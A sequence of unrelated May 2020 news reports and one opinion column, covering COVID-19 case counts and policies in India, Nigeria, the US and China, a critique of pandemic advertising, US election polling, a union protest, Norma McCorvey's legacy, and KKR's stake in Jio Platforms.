Locked inside my apartment under stay-at-home orders, the pandemic begins to look oddly routine. Bingeing some reality TV show, I can begin to forget why Im stuck here  until the commercial break. Were all living a new normal  Especially now. Even in times as uncertain as these. Its jarring how quickly the realities of the coronavirus have been processed into the optimistic language of advertising. Every crisis inspires its own corporate PSAs, but these ones are strangely ubiquitous. The hallmarks of coronavirus ads are so consistent they could be generated by bots. People. People. People. People. People. And family. Theyre all collected in this YouTube montage called, Every Covid-19 Commercial Is Exactly the Same. Especially now. The ads begin with eerie drone footage of empty streets, a shot of a child staring plaintively out the window, some desperate-looking individual, and then  upbeat musical key change. A medical worker peeling off their mask, a guy jamming on his home piano, a deeply pregnant woman rubbing her stomach as if summoning a genie from a bottle. And finally: We care about keeping you safe. Were here to help. Were still here for you. Our spirit is what unites us. Whats weird is, Im not sure what Im supposed to buy. These ads are often strangely devoid of product placement. Instead, they lean on pat metaphors that stuff the crisis into the various receptacles affiliated with the products. There are no Cokes in this Malaysian Coke ad, just the note, Thank you for filling the glass with kindness and hope. Dunkin talks about raising a cup. And Heftys message compares the human spirit to a bag of trash. Thank you. Uber even ran an anti-Uber commercial that tells its customers, Thank you for not riding with Uber. In the place of images of products, these ads are selling a vision of the workers who made them. They show Fareway employees striding in slo-mo through stockrooms, and masked warehouse workers monitoring Amazon conveyor belts. To our over one million heroes  To all of our Amazon retail heroes, we want to thank you. I say thank you. Theyre capitalizing on the trend of anointing all essential workers as heroes. Its a well-meaning impulse to thank those people who are stocking shelves and bagging groceries, but employers have seized on it as a tactic to soften the uncomfortable truth that their workers are at risk, and ease our own tensions as consumers about benefiting from their work. So how does it feel when you see an ad that valorizes a grocery store worker as a hero? The word, hero, has always implied having some sort of agency. Somebody running into a burning house and saving a baby, they are making a conscious decision. But we werent trained for this kind of thing. This wasnt in our job descriptions. Were not these altruistic angels that are just so happy to be there, and to serve you. And thats kind of what theyre trying to show in these ads. Its wonderful to be acknowledged. Its when it becomes a catchphrase, its when it becomes ingenuine. Its like memos from corporate like, You guys are heroes, you know? It doesnt mean anything anymore. These ads have reimagined their ideal consumers too. Medical workers have swiftly been elevated into unwitting corporate spokesmodels, creating a fantasy where all consumption is reframed as a public service performed by heroes for heroes. In the coronavirus ad world, heroes are broadly defined. Theyre not just the nurses and grocery stockers. Now every couch surfer can feel like theyre doing their part. Basically anything a person does during the pandemic can be reframed in a commercial as an act of heroism. Its telling that so many of these ads are constructed from found images of social media, or at least theyre made to appear that way. They locate hope in amateur video of a woman cutting her own bangs and a baby riding a Roomba. Its as if by some kind of transitive property, drinking the same brand of coffee that I saw a nurse drink means that Im contributing to the cause. [sirens] I may not be packing meat or intubating patients, but at least I am bravely maintaining my consumption habits. They make me feel like Im doing my part by staying on my couch.
BAKU, Azerbaijan, May 22

Trend:

President of the Republic of India Ram Nath Kovind has sent a congratulatory letter to President of the Republic of Azerbaijan Ilham Aliyev, Trend reports referring to the Azerbaijani presidential press-service.

I have the pleasure of extending warm greetings and felicitations to Your Excellency and the friendly people of Azerbaijan on the occasion of your Republic Day, the letter said.

India and Azerbaijan share close cultural and historical links which are reflected in our mutual desire to strengthen our bilateral cooperation, the letter said. I hope that our joint efforts would further strengthen our multi-faceted cooperation.

The COVID-19 pandemic poses an unprecedented challenge to humankind, the letter said. India remains committed to work together with the international community to defeat this disease.

I convey my best wishes for Your Excellencys good health and personal well-being, as well as for the continued progress and prosperity of the friendly people of Azerbaijan, the letter said.

Please accept, Excellency, the assurances of my highest consideration, the letter said.
Two more persons tested



positive for novel coronavirus in Tripura, raising the state's total COVID-19 cases to 175, Chief Minister Biplam Kumar Deb said.

The two came in contact with people who returned to the state from outside recently.

"847 samples have been tested today for COVID-19 & among them, 2 persons detected #POSITIVE. One person at Churaibari Gate & another person was in contact with the previous POSITIVE patients who returned from Chennai," Deb tweeted on Thursday night.

The total number of coronavirus cases now rose to 175, out of which 148 have recovered and two others, who were from Assam, were transferred to their home state, officials said on Friday.

Corona awareness and monitoring committees were set up at the village level in the state to make sure no one violated quarantine norms, they said.

Meanwhile, Law Minister Ratan Lal Nath said Tripura has the highest recovery rate in the country, as 86 per cent of its COVID-19 patients have been discharged from hospitals.

The state would soon attain 100 per cent recovery rate, he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Terry Burns said running an auto dealership is all about building relationships with customers over many years.

So after weeks of Michigans auto showrooms being closed to reduce the spread of the infectious new coronavirus, auto dealers are very excited to welcome back their friends and get back to selling cars.

We know some customers have contacted us and they would like to buy a vehicle, said Burns, executive vice president for the Michigan Automobile Dealers Association. Its going to be nice seeing our friends and new customers in the showroom again.

Starting Tuesday, May 26, auto dealerships and retail businesses across the state will be allowed to operate via appointment only, Gov. Gretchen Whitmer announced Thursday, May 21.

Burns said Michigan auto sales were down more than 83 percent for the month of April, as showrooms were among the non-essential businesses closed in late March to reduce the spread of COVID-19. Losses were tracking similarly in early May, ais dealers were only operating the service and repair portions of their businesses.

So when Whitmer said data shows Michigan is ready to phase in these sectors of the economy, Burns called it great news.

We are very excited that the governor has seen fit to allow that to happen, he said. If she thinks its the proper time, were ready to go and ready ti implement the safety procedures weve been working on for weeks.

Related: Gatherings of 10 or less, retail by appointment allowed under new Whitmer order

Gov. Whitmer temporarily suspended activities not deemed necessary to sustain or protect life on March 24 -- two weeks after declaring a state of emergency related to COVID-19. Auto showrooms were forced to close during that time, though auto businesses could continue to provide repair services as long as they followed recommended safety protocols.

Since parts of their businesses could remain open, auto dealers have been able to tweak safety precautions and social distancing measures to determine what works best.

Burns said scheduling appointments will work well because it will make sure every customer is with an employee at all times. They can be greeted, guided to the proper entrance and exit, and shown the inventory -- most of which is outdoors.

It gives the customers assurance that someone will be with them, Burns said.

The Michigan Automobile Dealers Association is a statewide non-profit trade association that represents more than 600 franchised new-vehicle dealerships in the state.

As of Thursday, May 21, Michigan has reported 53,510 confirmed cases of COVID-19 and 5,129 deaths associated with the virus. New cases have largely trended down in recent weeks, which has triggered a phased reopening of the state.

COVID-19 PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

Related stories:

Gov. Gretchen Whitmer can extend state of emergency without legislature, judge rules

Southeast Michigan sees lowest positive coronavirus test rates to date

Thursday, May 21: Latest developments on coronavirus in Michigan

Reopening day: Northern Michigan restaurants expect surge, as hotels fill fast
A civic officer in Madhya



Pradesh's Indore has been suspended for celebrating his marriage anniversary by organising a party at an assembly hall here despite the ongoing coronavirus-induced lockdown and curfew, an official said on Friday.

Commissioner of the Indore Municipal Corporation (IMC) Pratibha Pal suspended zonal officer Chetan Patil in this connection, the official said.

According to the official, the civic administration took cognisance of a video of the party organised recently by Patil at an assembly hall in Vijay Nagar locality to celebrate his marriage anniversary without any permission amid the ongoing curfew.

During the party, the social distancing norms were reportedly violated, he said.

The official said that the municipal commissioner had issued a show-cause notice to Patil. However, as she did not find his reply satisfactory, a departmental inquiry was launched.

The purported video shared on social media, which claimed to be of the party organised by Patil, shows people involved in singing and dancing in violation of social distancing norms.

Indore is one the worst-hit districts in the country in terms of the number of coronavirus positive cases. On Friday, the number of patients in the district rose to 2,850, of whom 109 have died so far.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Lebanon authorities are looking for a fugitive who they say stabbed a man in the city last winter.

Julio Cesar Cabrera, 34, is charged with aggravated assault for the Feb. 25 stabbing of a 35-year-old on the first block of South 8th Street, according to the Lebanon County District Attorneys Office.

Attempts to find Cabrera have been unsuccessful, prosecutors said.

Anyone with information on Cabreras whereabouts can contact the Lebanon City Police Department or submit a tip online.

READ MORE:

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3 men accused of forcing Pa. woman to perform sex acts to pay off debt: cops

Pa. sports bar fights back as liquor license suspensions spread in lockdown crackdown
Photo: The Canadian Press President Donald Trump speaks with reporters about the coronavirus in the James Brady Briefing Room of the White House, Friday, May 22, 2020, in Washington. (AP Photo/Alex Brandon)

President Donald Trump said Friday that he has deemed churches and other houses of worship essential" and called on governors across the country to allow them to reopen this weekend despite the threat of spreading the coronavirus.

Today Im identifying houses of worship  churches, synagogues and mosques  as essential places that provide essential services," Trump said during a hastily arranged press conference at the White House, where he didn't take questions. He said if governors dont abide by his request, he will override them, though its unclear what authority he has to do so.

The Centers for Disease Control and Prevention had prepared a draft of reopening guidelines for churches and other houses of worship weeks ago that included measures like maintaining distance between parishioners and limiting the size of gatherings.

But that guidance had been delayed for more than a month by the administration until Trump abruptly changed course Thursday.

I said, You better put it out. And theyre doing it, Trump said Thursday at a Ford Motor Co. plant repurposed to make ventilators in Michigan. And theyre going to be issuing something today or tomorrow on churches. We've got to get our churches open.

Trump on Friday stressed the importance of churches in many communities and took issue with some of the businesses that had been allowed to reopen.

Some governors have deemed liquor stores and abortion clinics as essential but not churches, he said. Its not right. So Im correcting this injustice and calling houses of worship essential.

These are places that hold our society together and keep our people united. The people are demanding to go to church and synagogue, go to their mosque," he said.
China for the first time in decades will not have a GDP growth target for 2020 given the global economic uncertainties because of the Covid-19 pandemic, a government work report released by Premier Li Keqiang said Friday.

Premier Li read out the report at the launch of the shortened annual National Peoples Congress (NPC)  Chinas rubber stamp parliament -- meeting in Beijing on Friday, pledging government support to help the outbreak-hit economy and setting out broad economic goals for the year.

In a draft budget report submitted to the NPC, the government also set a 6.6 percent growth rate for its defence budget, lower than the 7.5 percent rise in 2019, an outlay thats closely followed globally.

The proposed defense budget stands at 1.268 trillion yuan ($178 billion), according to the draft budget.

Chinas defense budget for 2019 was 1.19 trillion yuan, up 7.5 percent from 2018.

China has maintained single-digit growth in its annual defence budget since 2016.

It was expected that China will increase its defence budget at a lower rate year-by-year because of the Covid-19 pandemic, which killed and sickened more than 87000 and battered the Chinese economy into contracting.

The countrys economy shrank 6.8% in the first quarter of 2020 compared with a year earlier, as the novel coronavirus spread from the central Chinese city of Wuhan, the capital of Hubei province, where it emerged late last year.

We have not set a specific target for economic growth this year. This is because our country will face some factors that are difficult to predict in its development, due to the great uncertainty regarding the Covid-19 pandemic and the world economic and trade environment, Li was quoted as saying by official media while reading out the work report at the Great Hall of the People on Friday morning.

According to the report, China is targeting a 2020 budget deficit of at least 3.6% of GDP, above last years 2.8%, and fixed the quota on local-government special bond issuance at 3.75 trillion yuan ($527 billion), up from 2.15 trillion yuan.

China will also issue 1 trillion yuan in special treasury bonds for the first time this year.

Local government bonds could be mainly used to fund infrastructure projects, while special treasury bonds could be used to support firms and regions hit by the coronavirus outbreak, for subsidies to spur consumption or for boosting the capital structure of small banks, analysts told news agency Reuters.

The work report added that Chinese government has set a target of creating nine million new urban jobs, compared to 11 million last year, and a surveyed urban unemployment rate of around 6 percent, compared to 5.5 percent last year.

We must be clear that efforts to stabilise employment, ensure living standards, eliminate poverty, and prevent and defuse risks must be underpinned by economic growth; so ensuring stable economic performance is of crucial significance, the work report said.

We need to pursue reform and opening up as a means to stabilise employment, ensure peoples well-being, stimulate consumption, energise the market, and achieve stable growth. We need to blaze a new path that enables us to respond effectively to shocks and sustain a positive growth cycle.
In February 1970 I was Norma McCorvey, a pregnant street person, a twenty-one-year-old woman in big trouble, writes McCorvey in her 1994 memoir I Am Roe. I became Jane Roe at a corner table at Columbos, an Italian restaurant at Mockingbird Lane and Greenville Avenue in Dallas.

That short meeting with Sarah Weddington and Linda Coffee, two lawyers looking for the right case to strike a blow on behalf of abortion rights, transformed McCorveys life. The following month, Weddington and Coffee filed a lawsuit against Dallas district attorney Henry Wade for enforcing Texass abortion law and used McCorvey as their lead plaintiff. The case ended up at the United States Supreme Court, and on January 22, 1973, the justices overturned the law seven-to-two and legalized abortion in all fifty states.

On that day, Norma McCorvey became Jane Roe of Roe v. Wadepart symbol, part person, trapped in the maelstrom of history and the sound and fury of Americas abortion wars. When she left the abortion industry for the pro-life movement in 1994, she made headlines across the nation.

Now again, McCorvey is making headlines as the bombshell subject of a new FX documentary, AKA Jane Roe, which claims that she changed her mind a second time and reverted back to a pro-abortion position. Producer Nick Sweeney tells a story in which McCorveys relationship with the pro-life movement was strictly a financial one.

In a series of interviews that she dubbed her deathbed confession, McCorvey calls it all an act.

I was the big fish, McCorvey says in the documentary. I think it was a mutual thing  I took their money and theyd put me out in front of the cameras and tell me what to say.

Numerous headlines have suggested that McCorvey was paid to change her mind on abortion, despite the fact that those are not actually her words. In trying to unearth the real narrative, I spoke with many of her close friends, three of whom went on the record. Those three, in addition to others, reject the idea that she was bribed into switching sides. Their story of McCorvey and their relationship with her is much more complex, intimate, and humane.

For this new documentary to quote Norma saying she was not genuinely pro-life is very suspicious, said Father Frank Pavone, director of Priests for Life. I knew Norma. Her pro-life convictions were not an act.

Pavone was part of McCorveys faith story. As she described in her second memoir, Won By Love, her relationship with various pro-lifers led her to Christianity and also to the pro-life movement. On August 8, 1995, she was baptized in a backyard swimming pool in Dallas, Texas. In 1998, she became a Roman Catholic and adopted Pavone as her spiritual director. (His organization recently released a statement on the Sweeney documentary.)

Starting the year of her baptism, McCorvey spoke at numerous pro-life events and publicly expressed remorse for her role in the legalization of abortion. In 2004, she even sought to have the Supreme Court overturn Roe v. Wade based on new evidence that abortion hurts women. (The case was dismissed the following year.)

Was McCorvey bribed for her ongoing contributions to the movement? Sweeneys evidence for this claimthat over the decades, McCorvey had been paid at least $456,911 in giftssupports an opposite conclusion, in my opinion. The figure is not a high one, considering that some pro-life speakers often earn upwards of $10,000 for a single speaking engagement. And being paid to advocate for a position is not the same thing as being paid to change your mind.

More importantly, my sources suggest that these monetary contributions were primarily given not for coercive purposes but for supportive ones. McCorveys pro-life friends cared deeply for her and often helped her financially when she was in need.

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Shed begun speaking at banquets and giving her testimony with the help of Ronda Mackey and the Operation Rescue team [a pro-life organization founded in 1986], but the travel soon became too strenuous for her, as it caused her anxiety, said Karen Garnett, one of McCorveys close friends.

Father Edward Robinson suggested to the board of directors of the Catholic Pro-Life Committee of North Texas, of which I was executive director, that we consider adopting Roe No More Ministry [McCorveys project] as one of the pro-life agencies we donated to, to help Norma pay the bills to keep her office going, Garrett said. It was agreed, and a monthly donation to her ministry began and continued through the years, purely out of love and support for our dear sister and friend.

According to my sources, McCorvey also lived frequently with her friends in the pro-life community when she needed a place to stay. In the early 2000s, she lived for several months with Troy Newman, one of the participants in Operation Rescue. Newman remembers her as a funny, down-to-earth friend who loved children and adored my own five children. They had many heart-to-heart conversations, one of which transpired on New Years Eve, after he and Normaalong with his family and friendshad gone to a pub and grill.

On the drive home, McCorvey grew very quiet. Whats wrong, Norma? Newman asked her. Its January, she replied softly.

Both of us knew immediately what that meant, Newman told me. It meant the anniversary of Roe v. Wade was near, and with it came a renewal of the guilt McCorvey carried with her.

Bryan Kemper, the youth outreach director of Priests for Life, remembers similar conversations with McCorvey. He recalls one in particular that happened while they were both sitting in a church parking lot smoking cigarettes. She told him about the crushing guilt that would sweep over her when she would sit across from an empty playground. She would weep and wonder if it was empty because the children that could be playing there had been killed by abortion. In response, he reminded her that grace and forgiveness could be found in God.

She was always such a blessing to talk to and hang out with, Kemper told me. She was a friend, and someone who I know loved God and wanted to see an end to abortion.

What about one of the most damning accusations leveled by the media in response to AKA Jane Roethat the pro-life movement used McCorvey? If that is true, several sources told me, it was not done cynically or intentionally. Unfortunately, but perhaps inevitably, many people looked at McCorvey and saw Jane Roe the symbol rather than Norma McCorvey, a complex woman with a pain-filled past. The simple story of Jane Roe going to war with the industry she once served was both powerful and irresistible, and in their zeal to overturn Roe v. Wade and save lives from abortion, some pro-life advocates easily overlooked the fact that the real Norma McCorvey couldnt easily fill a symbolic role. But that certainly wasnt the case for everyone.

I know she felt that there were people who used her because they saw her more as Jane Roe than as Miss Norma, Newman told me. But to me, she was always Miss Norma. She was my friend, and I loved her. She was the Rosa Parks of the pro-life movement, and it was our responsibility to take care of her. It was our privilege to do so.

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Garnett, who shared a 22-year friendship with McCorvey that the two dubbed a sisterhood, has a similar but slightly different view of this part of the story. She hadnt heard that her friend felt used by the pro-life movement until McCorveys biographer Joshua Prager told her so.

In our conversation, he shared that through his hundreds of hours of time spent with Norma over the previous four years, he believed Norma felt that she had been used and exploited by both sides of the abortion debate, said Garnett. That was a surprise to me, because in the 22 years that I had known Norma, she had never expressed to me that shed felt used and exploited by people in the pro-life movement.

Nonetheless, Garnett wanted to respond before it was too late.

At the time of Pragers revelation to Garnett, McCorvey had been in and out of the hospital and was nearing death. On the morning of February 13, 2017, her daughter called Garnett to let her know that McCorvey had been admitted to ICU and intubated. They werent sure if she would make it, so they asked Garnett to come. McCorvey was sedated through the night. The following evening, however, she was able to talk to me for the first time after coming off the breathing machine, and she said Hi Baby three times, Garnett said. It was very heart-warming.

She was awake and alert, and as I was standing on one side of her bed, with her daughter and granddaughter standing across on the other side of her bed, I told her, and them, that I wanted to apologize to her and ask for her forgiveness for anyone in the pro-life movement who had ever hurt her or caused her to feel hurt or pain, Garnett said. I shared that publicly, as well, during the eulogy at her funeral on February 25, 2017 after shed passed on the morning of February 18th.

What lesson should the pro-life community learn from all this?

In her apology, Garnett did something deeply Christian: She recognized McCorveys vulnerability and asked forgiveness for any sins committed against her. This moment of apology is not depicted in the documentary, even by vague description. But from where I sit, it might be the most important moment to ponder. As a pro-life advocate, Im left asking: How can we as a movement continue to soul-search ourselves and our collective actions?

As Matthew Lee Anderson writes, our movement is animated by the gospel of Jesus Christ. In this context, the truth of compassion provides comfort in the face of the crossa comfort that defeats death not by inflicting it, but by overcoming it with love.

In the midst of our movements failures and successes, we, like Garnett, are invited to be Christs voice of love to the vulnerable. We share a high callingto admit our failures, eschew vice and deception, embrace virtue, and embody Christian ethics as we seek to protect the unborn and those who carry them. The people we serve include the McCorveys of the world, and protecting their humanity is part of that high calling. In so doing, we model the sanctity of life from womb to tomb, as the saying goes.

McCorveys closest friends, many of them Christians, did that for her in her dying hours.

At the end, McCorveys deathbed conversations were not with Nick Sweeney. They were spent with Father Pavone, who spoke with her the day she died, Garnett (by phone), and several others.

In the final hours, Garnett told me, McCorveys family asked her to share some music. She sent the prayer songs that she had been listening to during the time that she'd spent with McCorvey in the hospital and in hospice. One of those songs was The Lord Is My Shepherd. The family played that songs for McCorvey, resting the phone on her chest.

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At the last, regardless of how conflicted McCorvey may have felt about abortion or the actions of herself and others, she died loved and surrounded by those who saw her not as Jane Roe, but as their precious friend: Norma McCorvey.

Jonathon Van Maren is a public speaker, writer, and pro-life activist. His commentary has appeared in National Review, The European Conservative, and The National Post, among others. He is the author of The Culture War and Seeing Is Believing: Why Our Culture Must Face the Victims of Abortion.

Speaking Out is Christianity Todays guest opinion column and (unlike an editorial) does not necessarily represent the opinion of the publication.
The Delhi Police has decided to cut the amount being given to its Covid-19 positive personnel by 90 per cent.

Those personnel who get infected with the coronavirus while on duty will now get Rs 10,000 instead of Rs 1 lakh announced earlier as the number of infections have increased rapidly in the force, officials said on Thursday, reports news agency PTI.

A meeting was held recently and it was decided that the sanction amount should be reduced. A lot of policemen are getting infected with the virus and the amount has to be distributed equally in such cases. So a decision was taken to reduce the amount from Rs 1 lakh to Rs 10,000, a senior police officer was quoted as saying by PTI.

The force has also decided to increase the amount given to the kin of its personnel who dies of Covid-19 from Rs 7 lakh to Rs 10 lakh.

Delhi Police has reported one death from the disease so far  a 31-year-old constable posted at Bharat Nagar police station in north-west Delhi who died on May 5.

It issued a standard operating procedure (SOP) last week for daily health monitoring of personnel to ensure timely prevention and protection from the virus following the death of the constable.

According to the SOP, any police personnel feeling unwell, suffering from cough, sore throat, fever, breathlessness or any other symptoms must immediately report the same to the duty officer (DO) of the police station or unit where they are posted by any means of communication.

They said over 250 police personnel have been infected with the virus, as per the PTI report.

(With inputs from PTI)
GREENWICH  A noisy caravan of union demonstrators descended on Greenwich on Thursday afternoon, putting a spotlight on what they say are the health risks and medical burdens faced by service workers due to imbalances in the economic system during the coronavirus pandemic.

The protest, organized by regional and state components of the Service Employees International Union, stopped at the residences of several prominent and wealthy Greenwich residents.

As part of the demonstration  called Money Bags and Body Bags  the union activists briefly placed trash bags rigged to look like body bags near the residences, before removing them, as a way of dramatizing their concerns over health-care and income inequality.

About 40 cars took part in the caravan in Greenwich, which had started with as many as 100 vehicles driven by union workers from all over the region. Police monitored the demonstration and kept traffic moving, and in one instance, kept tempers from flaring.

The ruling class, many of whom live in Greenwich, a lovely town, have no idea of the consequence of their actions. Its a wake-up call; their actions have deadly consequences to us, said Rick Melita, who represents 65,000 SEIU members in the state as the executive director.

Six janitors have died of the coronavirus in Connecticut, as well as 11 nursing assistants, union representatives said. The SEIU represents custodians, nursing-home workers, prison workers, rest-stop janitors, school bus drivers, day-care workers and others.

Union organizers wanted to send a message, pointing to a lack of personal protective equipment for workers, the difficulties of obaining workers compensation and inequities in the health-care system that they says hits working people the hardest, Melita said. They were also promoting the message, Tax the Rich.

Melita said the lengthy process to get workers comp benefits for burial expenses in particular was sickening. The union leader was also critical of what he called a get back to work, suck it up, take the punch mentality that he said some business leaders and commentators were promoting.

How many of our members of have to die for the Dow before we get angry? he said.

The first stop on the tour was the rest stop on I-95 in Darien to protest the conditions that workers face there. The caravan then rolled to Greenwich and later made stops in Westchester County, N.Y.

Added an SEIU spokesman, Frank Soults The wealthiest residents seem to be paying the lowest percentage than any other group. The demonstrators also cited a range of progressive causes in their daylong trek through the wealthy neighborhoods.

The caravan departed from a central Greenwich commuter lot and wended up North Street, Lake Avenue, Round Hill Road and then Buckfield Lane in the the backcountry. The caravan got mostly quizzical looks from bystanders and landscapers as it wended its way through the community. One woman driving a BMW SUV stuck her hand out of her car window and gave union demonstrators the finger.

They stopped near the homes of Donald Lake, Lucy Stitzer and Betsy McCaughey on their drive, and placed the symbolic body bags in the area, as a kind of activist theater.

Lake is vice chairman of Caliburn Holdings whose affiliate, Caliburn International, is the holding company of the nations only for-profit migrant youth shelter operator. It has come under criticism for the housing conditions of underage border-crossers on the Mexican border with the United States. A message left for Lake at his office was not returned.

Stitzer owns a stake in Cargill, the largest food company in the world. Cargill has come under criticism by union activists and progressive critics for its environmental record and labor practices. A message left at her philanthropic organization was not returned.

McCaughey is a Fox News columnist with a lengthy history of opposing the Affordable Care Act, the program initiated by President Barack Obama to expand health-care coverage for citizens. A message left at her personal website was not returned.

On Buckfield Lane, near the home of McCaughey, the union demonstrators were called socialists by a woman who stopped to watch their activities, which prompted a contentious exchange. The union protesters were all wearing masks, to prevent the transmission of coronavirus. But the woman who stopped was not, which led to another point of contention. A police officer stepped in and asked the parties to separate and move along.

Police officers shadowed the convoy as it drove through Greenwich, and no serious incidents were reported. According to police spokesman Lt. Mark Zuccerella, We were there for the caravan to facilitate their needs, as well as the other motorists in the area. Everyones rights and safe demonstration or exercising of those rights are important to us.

Greenwich has a history of drawing demonstrators and activists, due to its reputation as a home to the wealthy.

Activists in 2017 ran buses into Greenwich though a union-backed protest called the Lifestyles of the Rich & Shameless tour.

In 2017, the SEIU protested the lay-offs of janitors at an office complex in central Greenwich.

rmarchant@greenwichtime.com
Four more patients have died from coronavirus infection in Lagos State on Thursday, an official has announced.

Akin Abayomi, the Lagos commissioner for health gave the update on Friday on his official Twitter handle.

Details of the deaths were not disclosed by the commissioner.

The state also recorded four COVID-19 related deaths on Wednesday, making a total of eight deaths within two days.

As of Friday, 46 people have died from COVID-19 infection in Lagos, and 211 people across Nigeria.

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While giving the update of COVID-19 in Lagos, the commissioner said 139 new cases of infection were confirmed in Lagos on Thursday, bringing the total number of confirmed cases to 3109.

Four more COVID-19 related deaths were recorded in Lagos bringing the total of such deaths to 46. Our toll free helpline 08000CORONA is still very active, just call it to report any COVID-19 issue, he wrote.

Lagos also discharged 13 patients on Thursday after testing negative to the virus.

As of Friday, Lagos has 3,109 confirmed cases, 2,383 active, 662 discharged and 46 deaths.

Lagos residents are urged to engage the ministry of health on all COVID-19 related issues through the toll-free line; 08000CORONA = 08000267662.
Joe Biden and Donald Trump will face the American people on November 3 - AP Photo

Joe Biden is ahead of Donald Trump in all six of the states the US president won by the narrowest margins in 2016, according to new polling shared exclusively with The Telegraph.

The likely Democratic presidential candidate leads in Arizona, Pennsylvania, North Carolina, Wisconsin, Florida and Michigan, according to surveys conducted by Redfield & Wilton Strategies.

The polling finds that in these battleground states voters disapprove of how the US president has handled the coronavirus crisis, the issue which will dominate the 2020 campaign.

If the results were replicated on November 3 in all likelihood Mr Biden would be heading to the White House and Mr Trump consigned to a single term in office - a rarity in modern US history.

However there are also danger signs for Mr Biden, with three-quarters of voters in those states aware of a historic sexual assault allegation made against him which made headlines in recent weeks.

Some voters also picked concerns about Mr Bidens age when asked about potential reasons for not backing him. He is 77 and would be the oldest person ever elected to the US presidency.

However the Biden campaign will be cheering at the overall shape of the race with less than six months to go, according to the picture painted by this polling.

As ever with US elections, the focus lies on the battleground states - the ones which both parties believe they have a chance of winning and are likely to target.

Mr Trump won all six of the states polled in 2016. Four had voted for Barack Obama, Mr Trumps predecessor, in 2012 - meaning the Democrats will hope to win them back.

But these polls, conducted last week with between 850 and 1,000 respondents in each state, found that Mr Biden has now pulled ahead of Mr Trump in all six states.

Mr Biden was found to lead by two percentage points in Florida and North Carolina, four points in Arizona, eight points in Michigan, nine points in Pennsylvania and 10 points in Wisconsin.

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The snapshot of voter thinking comes with America reeling from a coronavirus outbreak which has infected more than 1.5 million people in the country and taken more than 90,000 lives.

In each of the six states more voters disapproved of Mr Trumps handling of the pandemic than approved, but sometimes only by slim margins such as a few percentage points.

Mr Biden, who served as Mr Obamas vice president for eight years, is all but certain to be crowned the Democratic presidential nominee at the party convention this August.

In recent weeks Mr Biden has had to address claims by a former Senate staffer, Tara Reade, that he sexually assaulted her in 1993. He has categorically denied the allegation.

The polling suggests awareness of the claim is widespread. Around 75 per cent of voters in all six states were aware of the allegation.

Mr Biden gave a high profile TV interview to rebut the claims earlier this month and the Trump campaign has released a campaign advert which focussed on the allegations.

Presented with a list of 10 reasons not to vote for Mr Biden and asked to pick three of the most compelling, around a quarter of voters went for his alleged misconduct with women in the past.

Other reasons often picked included age-related health issues and his difficulty sounding composed in public.

The finding is interesting because the Trump campaign has been relentlessly targeting Mr Bidens verbal trip-ups, sharing clips of them with voters on social media.

The polls also offered an indicated about each candidates strengths in the eyes of voters in battleground states.

Characteristics which voters often associated with Mr Trump included being a strong leader, knowing how to get things done and standing up for US interests.

The president was also seen as being tough on China - a potentially significant finding given standing up to Beijing is becoming a major election theme in the wake of the Covid-19 outbreak, which began in the Chinese city of Wuhan.

Characteristics commonly associated with Mr Biden included caring about people like me, being able to work with foreign leaders and understanding the problems afflicting America.
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Reliance Industries Ltd (RIL) on Friday said KKR has become the fifth company to invest in Jio Platforms. KKR bought a 2.32 percent stake for Rs 11,367 crore.

This is the fifth global company to invest in Jio in the past five weeks. So far, Jio Platforms has attracted a total investment of Rs 78,562 crore. Other investors in Jio Platforms are: Facebook, Silver Lake, Vista and General Atlantic.

The stake-buy in Jio is biggest for KKR in Asia so far.

Henry Kravis, Co-Founder and Co-CEO of KKR, said, Few companies have the potential to transform a countrys digital ecosystem in the way that Jio Platforms is doing in India, and potentially worldwide. Jio Platforms is a true homegrown next-generation technology leader in India that is unmatched in its ability to deliver technology solutions and services to a country that is experiencing a digital revolution. We are investing behind Jio Platforms impressive momentum, world-class innovation and strong leadership team, and we view this landmark investment as a strong indicator of KKRs commitment to supporting leading technology companies in India and Asia Pacific.

Reliance Jio- Facebook deal

The first major infusion among the five equity deals was from Facebook, which bought a 9.9 percent stake in Reliance Jio for $5.7 billion (Rs 43,574 crore), The deal valued Jio at Rs 4.62 lakh crore ($65.95 billion).

Commenting on the deal, the Facebook said, "This investment underscores our commitment to India and our excitement for the dramatic transformation that Jio has spurred in the country. In less than four years, Jio has brought more than 388 million people online, fueling the creation of innovative new enterprises and connecting people in new ways. We are committed to connecting more people in India together with Jio. The deal aims to enable new opportunities for businesses of all sizes, but especially for the more than 60 million small businesses across India.

Reliance Jio- Silver Lake deal

American private equity giant Silver Lake Partners bought 1 percent stake in Jio Platforms for Rs 5,655.75 crore ($750 million) in a deal that took Jio's enterprise value to Rs 5.15 lakh crore  a 12.5 premium to the value indicated by Facebook.

Commenting on the transaction with Silver Lake, Mukesh Ambani, Chairman and Managing Director - Reliance Industries Ltd, said, I am delighted to welcome Silver Lake as a valued partner in continuing to grow and transform the Indian digital ecosystem for the benefit of all Indians. Silver Lake has an outstanding record of being a valuable partner for leading technology companies globally. Silver Lake is one of the most respected voices in technology and finance. We are excited to leverage insights from their global technology relationships for the Indian Digital Societys transformation.

Reliance Jio- Vista Equity deal

Vista Equity Partners, a US-based private equity firm that runs the worlds largest exclusively tech-focused fund, picked up a 2.32 percent stake in Jio Platforms for Rs 11,367 crore, making it the third high-profile investment in the Reliance Industries Ltd (RIL) unit in as many weeks and underlining its status as a next-generation software and platform company.

After signing the deal with Reliance Jio, Robert F Smith, founder, chairman and CEO of Vista, said, We believe in the potential of the Digital Society that Jio is building for India. Mukeshs vision as a global pioneer, alongside Jios world-class leadership team, have built a platform to scale and advance the data revolution it started. We are thrilled to join Jio Platforms to deliver exponential growth in connectivity across India, providing modern consumer, small business and enterprise software to fuel the future of one of the worlds fastest-growing digital economies.

Reliance Jio- General Atlantic deal

Reliance Industries, on May 17, announced that growth equity firm General Atlantic Partners will invest Rs 6,598.38 crore in Jio Platforms. General Atlantic bought a 1.34 percent stake in Jio Platforms, giving Jio an enterprise value of Rs 5.16 lakh crore.

